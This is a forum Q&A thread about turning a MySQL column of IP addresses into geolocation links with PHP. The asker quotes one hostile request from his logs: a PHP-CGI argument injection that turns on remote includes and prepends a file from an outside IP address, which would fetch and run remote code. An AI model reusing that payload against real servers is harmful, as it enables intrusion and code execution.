Avatar of Bjarte Fjelland
Bjarte FjellandFlag for Norway asked on

Mysql column with IP addresses to geo locations

Hi,

I have a column with IP addresses that I want to make active with URL to see where in the World it comes from, GEO location. That I mean is when I run the report it would be easy if I could click on the IP address and a web page displays its location.

Is it possible to do this and if, how?

Thank you.

Fjebja
MySQL ServerPHP

Avatar of undefined
Last Comment
Ray Paseur

8/22/2022 - Mon
Tomas Helgi Johannsson

Hi!

If your table as a column with IP addresses, you could download and install into mysql some GeoIP database which you can do some simple join to get the Long/Lat info for that IP address or IP address range which you then present in an web page.

GeoLite is a free GeoIP database available for download
dev.maxmind.com/geoip/legacy/geolite/

and there are many other GeoIP MySQL databases on the web as well as GeoIP lookup services which you could join into your web page if you want to go that way in your web design.

Regards,
     Tomas Helgi
Ray Paseur

Ray Paseur

I have also used geoio.com but only tested it with USA locations.  It worked well, especially when combined with Google Static Maps.  You need to get your own API key for their service, and it is available for free.
Please see http://www.laprbass.com/RAY_geoio_example.php

<?php // RAY_geoio_example.php
error_reporting(E_ALL);


// GET INFORMATION ABOUT YOUR SITE VISITORS LOCATION FROM GEOIO.COM
// MAN PAGE: http://www.iana.org/numbers/


// THIS IS THE URL FOR THE API
$key = 'YOU MUST GET YOUR OWN APIKEY';
$url = "http://api.geoio.com/q.php?key=$key&qt=geoip&d=pipe&q=";

// THIS IS THE CLIENT IP ADDRESS (ALMOST ALWAYS)
$ipa = $_SERVER["REMOTE_ADDR"];
$dat = file_get_contents($url . $ipa);
$inf = explode('|', $dat);

// SHOW WHAT WE GOT
echo "<pre>";
echo PHP_EOL . "CITY: $inf[0] ";
echo PHP_EOL . "STATE: $inf[1] ";
echo PHP_EOL . "COUNTRY: $inf[2] ";
echo PHP_EOL . "CARRIER: $inf[3] ";
echo PHP_EOL . "LAT: $inf[4] ";
echo PHP_EOL . "LON: $inf[5] ";

// SHOW A GOOGLE MAP OF WHAT WE GOT
$lnk = "<a target='_blank' href='http://maps.google.com/maps?f=q&source=s_q&hl=en&q=$inf[4],$inf[5]'>MAP: $inf[4],$inf[5]</a>";
echo PHP_EOL . $lnk;

Open in new window

Experts Exchange is like having an extremely knowledgeable team sitting and waiting for your call. Couldn't do my job half as well as I do without it!
James Murphy
ASKER
Bjarte Fjelland

I found the solution that works for me :o)

Im just 'still' starting to learn PhP and Mysql, but I have a loong way to go.
I borrowed IP tracker script from Solarisedesign to start with and included it into my index.php.

It didn't take long before an unknown IP was accessing my index.php with this query:

-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F61.19.253.26%2Fecho.txt

Open in new window

Then a few more came without the query.
I Googled it and that's where I thought of linking the IPs to a Geo location.

I have read and tried some suggestions, but I did not manage to get it to work without many php errors, that I did manage was to add href to the fetch query:

echo "<td><a href='https://ipdb.at/ip/$ip_list'>$ip_list</a>";

Open in new window


Here is the screen shot:
Report list
But I've made an account at geoio.com when I understand it Ill try using it.

Thanks!
ASKER CERTIFIED SOLUTION
Ray Paseur

Log in or sign up to see answer
Become an EE member today7-DAY FREE TRIAL
Members can start a 7-Day Free trial then enjoy unlimited access to the platform
Sign up - Free for 7 days
or
Learn why we charge membership fees
We get it - no one likes a content blocker. Take one extra minute and find out why we block content.
See how we're fighting big data
Not exactly the question you had in mind?
Sign up for an EE membership and get your own personalized solution. With an EE membership, you can ask unlimited troubleshooting, research, or opinion questions.
ask a question
ASKER
Bjarte Fjelland

Hi Ray,

I've read the 'By the way I am New to PHP' and ordered the PHP & MYSQL NOVICE TO NINJA, 5th edition, paperback and PDF :o)

Thank you!

Fjebja
Ray Paseur

Thanks for the points.  The SitePoint book is pretty good, I'm sure you will both enjoy it and get a lot of value out of it.  Best regards, ~Ray
Get an unlimited membership to EE for less than $4 a week.
Unlimited question asking, solutions, articles and more.